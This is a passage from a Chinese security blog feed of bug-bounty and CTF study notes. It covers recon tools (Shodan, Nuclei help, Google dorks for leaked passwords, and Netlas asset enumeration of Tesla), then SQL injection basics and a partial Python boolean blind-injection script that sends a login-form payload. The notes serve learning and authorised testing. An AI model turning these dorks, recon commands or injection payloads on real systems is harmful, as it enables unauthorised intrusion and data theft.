服务器</strong>（HTTP、HTTPS）</li><li><strong>数据库服务器</strong>（如 MongoDB、MySQL）</li><li><strong>工业控制系统</strong>（SCADA、ICS）</li><li><strong>物联网（IoT）设备</strong>（智能家居设备、摄像头、路由器）</li><li><strong>VPN 服务器</strong></li><li><strong>网络存储设备（NAS）</strong></li></ul><p><strong>主要功能和用途</strong></p><ol><li><strong>安全研究</strong>：Shodan 是安全研究人员和白帽黑客常用的工具，用于发现未加固或配置不当的设备和服务。</li><li><strong>网络监控</strong>：网络管理员可以使用 Shodan 来监控其网络中公开暴露的设备和服务，确保没有误配置的设备暴露在互联网上。</li><li><strong>威胁情报</strong>：Shodan 提供有关互联网威胁的情报，帮助企业和安全机构了解全球互联网设备的安全状况。</li><li><strong>攻击面评估</strong>：企业可以使用 Shodan 评估其互联网暴露面，确定可能的攻击入口。</li></ol><p>快速测试根域名是否值得深度测试</p><h3 id="nuclei漏扫"><a class="markdownIt-Anchor" href="#nuclei漏扫">#</a> nuclei（漏扫）</h3><p>Nuclei 是一个基于 YAML 模板的开源工具，用于快速和可扩展的漏洞扫描。它被广泛用于网络安全测试，能够执行各种安全检查，如发现已知漏洞、错误配置、敏感信息泄露等。</p><div class="highlight-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br></pre></td><td class="code"><pre><span class="line">nuclei -h</span><br><span class="line"></span><br><span class="line">这将显示Nuclei的帮助，以下是所有支持的命令。</span><br><span class="line">Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。</span><br><span class="line"></span><br><span class="line">用法：</span><br><span class="line">  nuclei [命令]</span><br><span class="line"></span><br><span class="line">命令：</span><br><span class="line">目标：</span><br><span class="line">   -u, -target string[]                  指定扫描的URL/主机</span><br><span class="line">   -l, -list string                      指定需要扫描的URL/主机文件（一行一个）</span><br><span class="line">   -resume string                        断点续扫（将禁用集群）</span><br><span class="line"></span><br><span class="line">模板：</span><br><span class="line">   -nt, -new-templates                   只扫描最新版本中添加的模板</span><br><span class="line">   -ntv, -new-templates-version string[] 运行在特定版本中添加的新模板</span><br><span class="line">   -as, -automatic-scan                  在自动web扫描中使用wappalyzer技术检测的指纹</span><br><span class="line">   -t, -templates string[]               指定需要扫描的模板或者模板的路径（逗号分隔，文件）</span><br><span class="line">   -tu, -template-url string[]           从URL加载模板（逗号分隔，文件）</span><br><span class="line">   -w, -workflows string[]               指定扫描中的工作流或者工作流目录（逗号分隔，文件）</span><br><span class="line">   -wu, -workflow-url string[]           从URL加载工作流（逗号分隔，文件）</span><br><span class="line">   -validate                             验证通过的模板</span><br><span class="line">   -nss, -no-strict-syntax               禁用模板的严格检查</span><br><span class="line">   -tl                                   列出所有可用的模板</span><br><span class="line"></span><br><span class="line">过滤：</span><br><span class="line">   -a, -author string[]                  执行指定作者的模板（逗号分隔，文件）</span><br><span class="line">   -tags string[]                        执行有标记的模板子集（逗号分隔，文件）</span><br><span class="line">   -etags, -exclude-tags string[]        执行标记为排除的模板（逗号分隔，文件）</span><br><span class="line">   -itags, -include-tags string[]        执行默认或者配置排除的标记模板</span><br><span class="line">   -id, -template-id string[]            执行指定ID的模板（逗号分隔，文件）</span><br><span class="line">   -eid, -exclude-id string[]            执行排除指定ID的模板（逗号分隔，文件）</span><br><span class="line">   -it, -include-templates string[]      执行默认或配置中排除的模板</span><br><span class="line">   -et, -exclude-templates string[]      要排除的模板或者模板目录（逗号分隔，文件）</span><br><span class="line">   -em, -exclude-matchers string[]       在结果中排除指定模板</span><br><span class="line">   -s, -severity value[]                 根据严重程度运行模板，可候选的值有：info,low,medium,high,critical   </span><br><span class="line">   -es, -exclude-severity value[]        根据严重程度排除模板，可候选的值有：info,low,medium,high,critical</span><br><span class="line">   -pt, -type value[]                    根据协议运行模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois</span><br><span class="line">   -ept, -exclude-type value[]           根据协议排除模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois</span><br><span class="line">   -tc, -template-condition string[]      根据表达式运行模板</span><br><span class="line">   </span><br><span class="line"></span><br><span class="line">输出：</span><br><span class="line">   -o, -output string                    输出发现的问题到文件</span><br><span class="line">   -sresp, -store-resp                   将nuclei的所有请求和响应输出到目录</span><br><span class="line">   -srd, -store-resp-dir string          将nuclei的所有请求和响应输出到指定目录（默认：output）</span><br><span class="line">   -silent                               只显示结果</span><br><span class="line">   -nc, -no-color                        禁用输出内容着色（ANSI转义码）</span><br><span class="line">   -j, -jsonl                            输出为jsonL（ines）</span><br><span class="line">   -irr, -include-rr                     在JSONL中输出对应的请求和相应（仅结果）</span><br><span class="line">   -or, -omit-raw                     </span><br><span class="line">   -nm, -no-meta                         不显示匹配的元数据</span><br><span class="line">   -nts, -no-timestamp                   不在输出中显示时间戳</span><br><span class="line">   -rdb, -report-db string               本地的Nuclei结果数据库（始终使用该数据库保存结果）</span><br><span class="line">   -ms, -matcher-status                  显示匹配失败状态</span><br><span class="line">   -me, -markdown-export string          以markdown导出结果</span><br><span class="line">   -se, -sarif-export string             以SARIF导出结果</span><br><span class="line"></span><br><span class="line">配置：</span><br><span class="line">   -config string                        指定Nuclei的配置文件</span><br><span class="line">   -fr, -follow-redirects                为HTTP模板启用重定向</span><br><span class="line">   -fhr, -follow-host-redirects          在同一主机上重定向</span><br><span class="line">   -mr, -max-redirects int               HTTP模板最大重定向次数（默认：10）</span><br><span class="line">   -dr, -disable-redirects               为HTTP模板禁用重定向</span><br><span class="line">   -rc, -report-config string            指定Nuclei报告模板文件</span><br><span class="line">   -H, -header string[]                  指定header、cookie，以header:value的方式（cli，文件）</span><br><span class="line">   -V, -var value                        通过key=value指定var值</span><br><span class="line">   -r, -resolvers string                 指定Nuclei的解析文件</span><br><span class="line">   -sr, -system-resolvers                当DNS错误时使用系统DNS</span><br><span class="line">   -passive                              启用被动扫描处理HTTP响应</span><br><span class="line">   -ev, env-vars                         在模板中使用环境变量</span><br><span class="line">   -cc, -client-cert string              用于对扫描的主机进行身份验证的客户端证书文件（PEM 编码）</span><br><span class="line">   -ck, -client-key string               用于对扫描的主机进行身份验证的客户端密钥文件（PEM 编码）</span><br><span class="line">   -ca, -client-ca string                用于对扫描的主机进行身份验证的客户端证书颁发机构文件（PEM 编码）</span><br><span class="line">   -sml, -show-match-line                显示文件模板的匹配值，只适用于提取器</span><br><span class="line">   -ztls                                 对ztls自动退回到tls13</span><br><span class="line">   -sni string                           指定tls sni的主机名（默认为输入的域名）</span><br><span class="line">   -i, -interface string                 指定网卡</span><br><span class="line">   -sip, -source-ip string               指定源IP</span><br><span class="line">   -config-directory string              重写默认配置路径（$home/.config）</span><br><span class="line">   -rsr, -response-size-read int         最大读取响应大小（默认：10485760字节）</span><br><span class="line">   -rss, -response-size-save int         最大储存响应大小（默认：10485760字节）</span><br><span class="line"></span><br><span class="line">交互：</span><br><span class="line">   -inserver, -ineractsh-server string   使用interactsh反连检测平台（默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me）</span><br><span class="line">   -itoken, -interactsh-token string     指定反连检测平台的身份凭证</span><br><span class="line">   -interactions-cache-size int          指定保存在交互缓存中的请求数（默认：5000）</span><br><span class="line">   -interactions-eviction int            从缓存中删除请求前等待的时间（默认为60秒）</span><br><span class="line">   -interactions-poll-duration int       每个轮询前等待时间（默认为5秒）</span><br><span class="line">   -interactions-cooldown-period int     退出轮询前的等待时间（默认为5秒）</span><br><span class="line">   -ni, -no-interactsh                   禁用反连检测平台，同时排除基于反连检测的模板</span><br><span class="line"></span><br><span class="line">限速：</span><br><span class="line">   -rl, -rate-limit int                  每秒最大请求量（默认：150）</span><br><span class="line">   -rlm, -rate-limit-minute int          每分钟最大请求量</span><br><span class="line">   -bs, -bulk-size int                   每个模板最大并行检测数（默认：25）</span><br><span class="line">   -c, -concurrency int                  并行执行的最大模板数量（默认：25）</span><br><span class="line">   -hbs, -headless-bulk-size int         每个模板并行运行的无头主机最大数量（默认：10）</span><br><span class="line">   -headc, -headless-concurrency int     并行指定无头主机最大数量（默认：10）</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">优化：</span><br><span class="line">   -timeout int                          超时时间（默认为10秒）</span><br><span class="line">   -retries int                          重试次数（默认：1）</span><br><span class="line">   -ldp, -leave-default-ports            指定HTTP/HTTPS默认端口（例如：host:80，host:443）</span><br><span class="line">   -mhe, -max-host-error int             某主机扫描失败次数，跳过该主机（默认：30）</span><br><span class="line">   -te, -track-error string[]            将给定错误添加到最大主机错误监视列表（标准、文件）</span><br><span class="line">   -nmhe, -no-mhe                        disable skipping host from scan based on errors</span><br><span class="line">   -project                              使用项目文件夹避免多次发送同一请求</span><br><span class="line">   -project-path string                  设置特定的项目文件夹</span><br><span class="line">   -spm, -stop-at-first-path             得到一个结果后停止（或许会中断模板和工作流的逻辑）</span><br><span class="line">   -stream                               流模式 - 在不整理输入的情况下详细描述</span><br><span class="line">   -irt, -input-read-timeout duration    输入读取超时时间（默认：3分钟）</span><br><span class="line">   -no-stdin                             禁用标准输入</span><br><span class="line"></span><br><span class="line">无界面浏览器：</span><br><span class="line">    -headless                            启用需要无界面浏览器的模板</span><br><span class="line">    -page-timeout int                    在无界面下超时秒数（默认：20）</span><br><span class="line">    -sb, -show-brower                    在无界面浏览器运行模板时，显示浏览器</span><br><span class="line">    -sc, -system-chrome                  不使用Nuclei自带的浏览器，使用本地浏览器</span><br><span class="line">    -lha, -list-headless-action          列出可用的无界面操作</span><br><span class="line"></span><br><span class="line">调试：</span><br><span class="line">    -debug                               显示所有请求和响应</span><br><span class="line">    -dreq, -debug-req                    显示所有请求</span><br><span class="line">    -dresp, -debug-resp                  显示所有响应</span><br><span class="line">    -p, -proxy string[]                  使用http/socks5代理（逗号分隔，文件）</span><br><span class="line">    -pi, -proxy-internal                 代理所有请求</span><br><span class="line">    -ldf, -list-dsl-function             列出所有支持的DSL函数签名</span><br><span class="line">    -tlog, -trace-log string             写入跟踪日志到文件</span><br><span class="line">    -elog, -error-log string             写入错误日志到文件</span><br><span class="line">    -version                             显示版本信息</span><br><span class="line">    -hm, -hang-monitor                   启用Nuclei的监控</span><br><span class="line">    -v, -verbose                         显示详细信息</span><br><span class="line">    -profile-mem string                  将Nuclei的内存转储成文件</span><br><span class="line">    -vv                                  显示额外的详细信息</span><br><span class="line">    -ep, -enable-pprof                   启用pprof调试服务器</span><br><span class="line">    -tv, -templates-version              显示已安装的模板版本</span><br><span class="line">    -hc, -health-check                   运行诊断检查</span><br><span class="line"></span><br><span class="line">升级：</span><br><span class="line">    -update                              更新Nuclei到最新版本</span><br><span class="line">    -ut, -update-templates               更新Nuclei模板到最新版</span><br><span class="line">    -ud, -update-directory string        覆盖安装模板</span><br><span class="line">    -duc, -disable-update-check          禁用更新</span><br><span class="line"></span><br><span class="line">统计：</span><br><span class="line">    -stats                               显示正在扫描的统计信息</span><br><span class="line">    -sj, -stats-json                     将统计信息以JSONL格式输出到文件</span><br><span class="line">    -si, -stats-inerval int              显示统计信息更新的间隔秒数（默认：5）</span><br><span class="line">    -m, -metrics                         显示Nuclei端口信息</span><br><span class="line">    -mp, -metrics-port int               更改Nuclei默认端口（默认：9092）</span><br></pre></td></tr></table></figure></div><h3 id="google-hacking"><a class="markdownIt-Anchor" href="#google-hacking">#</a> Google Hacking</h3><p>主要使用 Google 的高级搜索操作符来过滤和定位公开的敏感信息。</p><p><strong>site:</strong> 限定特定网站或域名</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">site:example.com</span><br></pre></td></tr></table></figure></div><p>例子： <code>site:example.com login</code>  查找 <a href="http://example.com">example.com</a> 网站上的所有包含 “login” 的页面。</p><p><strong>filetype:</strong> 查找特定类型的文件</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">filetype:pdf</span><br></pre></td></tr></table></figure></div><p>例子： <code>filetype:pdf site:example.com</code>  查找 <a href="http://example.com">example.com</a> 网站上的所有 PDF 文件。</p><p><strong>intitle:</strong> 查找页面标题中包含特定关键词的页面</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">intitle:&quot;index of&quot;</span><br></pre></td></tr></table></figure></div><p>例子： <code>intitle:&quot;index of&quot; &quot;backup&quot;</code>  查找标题中包含 “index of” 和 “backup” 的页面，常用于查找公开的目录索引。</p><p><strong>inurl:</strong> 查找 URL 中包含特定关键词的页面</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">inurl:admin</span><br></pre></td></tr></table></figure></div><p>例子： <code>inurl:admin site:example.com</code>  查找 <a href="http://example.com">example.com</a> 网站上 URL 包含 “admin” 的页面。</p><p><strong>allintext:</strong> 查找页面文本中包含所有指定关键词的页面</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">allintext:password filetype:log</span><br></pre></td></tr></table></figure></div><p>例子： <code>allintext:password filetype:log</code>  查找包含 “password” 并且是日志文件的页面。</p><p><strong>cache:</strong> 查看 Google 缓存的页面</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cache:example.com</span><br></pre></td></tr></table></figure></div><p>例子： <code>cache:example.com</code>  查看 <a href="http://example.com">example.com</a> 的缓存页面。</p><h3 id="arjun爆破"><a class="markdownIt-Anchor" href="#arjun爆破">#</a> arjun（爆破）</h3><p>可以爆破参数和目录</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407052142655.png" alt="image-20240705214220585"></p><p><a class="link" href="https://github.com/s0md3v/Arjun/wiki/Usage">Usage · s0md3v/Arjun Wiki (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="netlas资产扫描"><a class="markdownIt-Anchor" href="#netlas资产扫描">#</a> Netlas（资产扫描）</h3><p>- <strong>通过组织名提取根域名</strong></p><p><code>netlas download -d whois-domain -c 10000 -i domain 'registrant.organization:&quot;TESLA, INC.&quot;' | jq -r .data.domain</code></p><p>- <strong>通过根域名提取子域名</strong></p><p><code>netlas download -d domain -c 10000 -i domain domain:&quot;*.tesla.com&quot; | jq -r .data.domain</code></p><p>- <strong>通过组织名提取资产</strong></p><p><code>netlas download -d cert -c 10000 -i certificate.names 'certificate.subject.organization:&quot;TESLA, INC.&quot;' | jq .data.certificate.names | tr -d &quot;\&quot;[],&quot;| grep -Ev &quot;^$&quot;| sed '/*/d' | tr -d ' ' | sort -u</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;src工具&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#src工具&quot;&gt;#&lt;/a&gt; SRC 工具&lt;/h2&gt;
&lt;p&gt;只是为了个人查阅方便，工具推荐来自 301 苏神&lt;/p&gt;
&lt;h3 id=&quot;amass子域名&quot;&gt;&lt;a class=&quot;mark</summary>
      
    
    
    
    <category term="Web SRC" scheme="http://example.com/categories/Web-SRC/"/>
    
    
  </entry>
  
  <entry>
    <title>SQL injection</title>
    <link href="http://example.com/2024/06/18/SQL-injection/"/>
    <id>http://example.com/2024/06/18/SQL-injection/</id>
    <published>2024-06-18T12:35:52.000Z</published>
    <updated>2024-10-30T15:14:09.761Z</updated>
    
    <content type="html"><![CDATA[<h1 id="sql注入"><a class="markdownIt-Anchor" href="#sql注入">#</a> SQL 注入</h1><blockquote><p>[!IMPORTANT]</p><p>参考协会学长们的文章：</p><p><a class="link" href="https://ek1ng.com/notes.html">记录一下近期刷 Buuoj 学到的 SQL 注入技巧 | ek1ng’s Blog <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://vidar-team.feishu.cn/docx/doxcnlBu6zBZWkzfRcX78hv8DNS">‌‍‍‌‌‬‌‍‬‍‍‌‍﻿‌⁠‌‬‬‬SQL 注入 - 飞书云文档 (feishu.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p></blockquote><blockquote><p>[!NOTE]</p><p>有关 SQL 语句的基本知识，可以参考 <a class="link" href="https://www.w3schools.com/sql/">SQL Tutorial <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p></blockquote><p>portswigger 的 sql 注入备忘录：<a class="link" href="https://portswigger.net/web-security/sql-injection/cheat-sheet">SQL injection cheat sheet | Web Security Academy (portswigger.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="sql注入中的信息收集"><a class="markdownIt-Anchor" href="#sql注入中的信息收集">#</a> SQl 注入中的信息收集</h2><h3 id="信息的获取"><a class="markdownIt-Anchor" href="#信息的获取">#</a> 信息的获取</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1. version() 数据库版本</span><br><span class="line">2. user() 数据库用户名</span><br><span class="line">3. database() 数据库名</span><br><span class="line">4. @@datadir 数据库路径</span><br><span class="line">5. @@version_compile_os 操作系统版本</span><br></pre></td></tr></table></figure></div><h3 id="字符串拼接"><a class="markdownIt-Anchor" href="#字符串拼接">#</a> 字符串拼接</h3><ol><li><code>concat(str1,str2,…)</code>  能够将你查询的字段连接在一起</li><li><code>concat_ws(separator,str1,str2,)</code>  能够自定义分隔符来将你查询的字段链接在一起</li><li><code>group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])</code><ol><li>一般来说这个函数是配合  <code>group by</code>  子句来使用的，但是在 SQL 注入中，我们用他来输出查询出来的所有数据</li></ol></li></ol><div class="highlight-container" data-rel="Cmd"><figure class="iseeu highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; select id, username, password from users;</span><br><span class="line">+----+----------+------------+</span><br><span class="line">| id | username | password   |</span><br><span class="line">+----+----------+------------+</span><br><span class="line">|  <span class="number">1</span> | Dumb     | Dumb       |</span><br><span class="line">|  <span class="number">2</span> | Angelina | I-kill-you |</span><br><span class="line">|  <span class="number">3</span> | Dummy    | p@ssword   |</span><br><span class="line">|  <span class="number">4</span> | secure   | crappy     |</span><br><span class="line">|  <span class="number">5</span> | stupid   | stupidity  |</span><br><span class="line">|  <span class="number">6</span> | superman | genious    |</span><br><span class="line">|  <span class="number">7</span> | batman   | mob!le     |</span><br><span class="line">|  <span class="number">8</span> | admin    | admin      |</span><br><span class="line">|  <span class="number">9</span> | admin1   | admin1     |</span><br><span class="line">| <span class="number">10</span> | admin2   | admin2     |</span><br><span class="line">| <span class="number">11</span> | admin3   | admin3     |</span><br><span class="line">| <span class="number">12</span> | dhakkan  | dumbo      |</span><br><span class="line">| <span class="number">14</span> | admin4   | admin4     |</span><br><span class="line">+----+----------+------------+</span><br><span class="line"><span class="number">13</span> rows <span class="keyword">in</span> <span class="built_in">set</span> (<span class="number">0</span>.<span class="number">01</span> sec)</span><br><span class="line"></span><br><span class="line">mysql&gt; select concat(id,username,password) from users;</span><br><span class="line">+------------------------------+</span><br><span class="line">| concat(id,username,password) |</span><br><span class="line">+------------------------------+</span><br><span class="line">| <span class="number">1</span>DumbDumb                    |</span><br><span class="line">| <span class="number">2</span>AngelinaI-kill-you          |</span><br><span class="line">| <span class="number">3</span>Dummyp@ssword               |</span><br><span class="line">| <span class="number">4</span>securecrappy                |</span><br><span class="line">| <span class="number">5</span>stupidstupidity             |</span><br><span class="line">| <span class="number">6</span>supermangenious             |</span><br><span class="line">| <span class="number">7</span>batmanmob!le                |</span><br><span class="line">| <span class="number">8</span>adminadmin                  |</span><br><span class="line">| <span class="number">9</span>admin1admin1                |</span><br><span class="line">| <span class="number">10</span>admin2admin2               |</span><br><span class="line">| <span class="number">11</span>admin3admin3               |</span><br><span class="line">| <span class="number">12</span>dhakkandumbo               |</span><br><span class="line">| <span class="number">14</span>admin4admin4               |</span><br><span class="line">+------------------------------+</span><br><span class="line"><span class="number">13</span> rows <span class="keyword">in</span> <span class="built_in">set</span> (<span class="number">0</span>.<span class="number">01</span> sec)</span><br><span class="line"></span><br><span class="line">mysql&gt; select concat(id,username,password) from users;</span><br><span class="line">+------------------------------+</span><br><span class="line">| concat(id,username,password) |</span><br><span class="line">+------------------------------+</span><br><span class="line">| <span class="number">1</span>DumbDumb                    |</span><br><span class="line">| <span class="number">2</span>AngelinaI-kill-you          |</span><br><span class="line">| <span class="number">3</span>Dummyp@ssword               |</span><br><span class="line">| <span class="number">4</span>securecrappy                |</span><br><span class="line">| <span class="number">5</span>stupidstupidity             |</span><br><span class="line">| <span class="number">6</span>supermangenious             |</span><br><span class="line">| <span class="number">7</span>batmanmob!le                |</span><br><span class="line">| <span class="number">8</span>adminadmin                  |</span><br><span class="line">| <span class="number">9</span>admin1admin1                |</span><br><span class="line">| <span class="number">10</span>admin2admin2               |</span><br><span class="line">| <span class="number">11</span>admin3admin3               |</span><br><span class="line">| <span class="number">12</span>dhakkandumbo               |</span><br><span class="line">| <span class="number">14</span>admin4admin4               |</span><br><span class="line">+------------------------------+</span><br><span class="line"><span class="number">13</span> rows <span class="keyword">in</span> <span class="built_in">set</span> (<span class="number">0</span>.<span class="number">01</span> sec)</span><br><span class="line"></span><br><span class="line">mysql&gt; select group_concat(id,username separator &#x27;_&#x27;) from users;</span><br><span class="line">+--------------------------------------------------------------------------------------------------------------+</span><br><span class="line">| group_concat(id,username separator &#x27;_&#x27;)                                                                      |</span><br><span class="line">+--------------------------------------------------------------------------------------------------------------+</span><br><span class="line">| <span class="number">1</span>Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 |</span><br><span class="line">+--------------------------------------------------------------------------------------------------------------+</span><br><span class="line"><span class="number">1</span> row <span class="keyword">in</span> <span class="built_in">set</span> (<span class="number">0</span>.<span class="number">00</span> sec)</span><br></pre></td></tr></table></figure></div><h2 id="sql注入类型"><a class="markdownIt-Anchor" href="#sql注入类型">#</a> SQL 注入类型</h2><h3 id="布尔盲注"><a class="markdownIt-Anchor" href="#布尔盲注">#</a> 布尔盲注</h3><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;&quot;</span></span><br><span class="line">dictionary = <span class="string">&#x27;&#125;qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890&#123;&#x27;</span></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> num <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">500</span>):</span><br><span class="line">    <span class="built_in">print</span>(num)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> dictionary:</span><br><span class="line">        data = &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&quot;admin&#x27; and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),&#123;0&#125;,1)=&#x27;&#123;1&#125;&#x27; #&quot;</span>.<span class="built_in">format</span>(num,i), <span class="comment"># 这是查库，可用下面代替以实现查表查字段</span></span><br><span class="line">        <span class="string">&#x27;pass&#x27;</span>:<span class="string">&#x27;123456&#x27;</span>&#125;</span><br><span class="line">        res = requests.post(url = url,data = data)</span><br><span class="line">        time.sleep(<span class="number">0.2</span>)</span><br><span class="line">        <span class="keyword">if</span> res.txt == <span class="string">r&#x27;&#123;&quot;error&quot;:1,&quot;msg&quot;:&quot;\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef&quot;&#125;&#x27;</span> : <span class="comment"># 需要根据情况更改</span></span><br><span class="line">            flag += i</span><br><span class="line">            <span 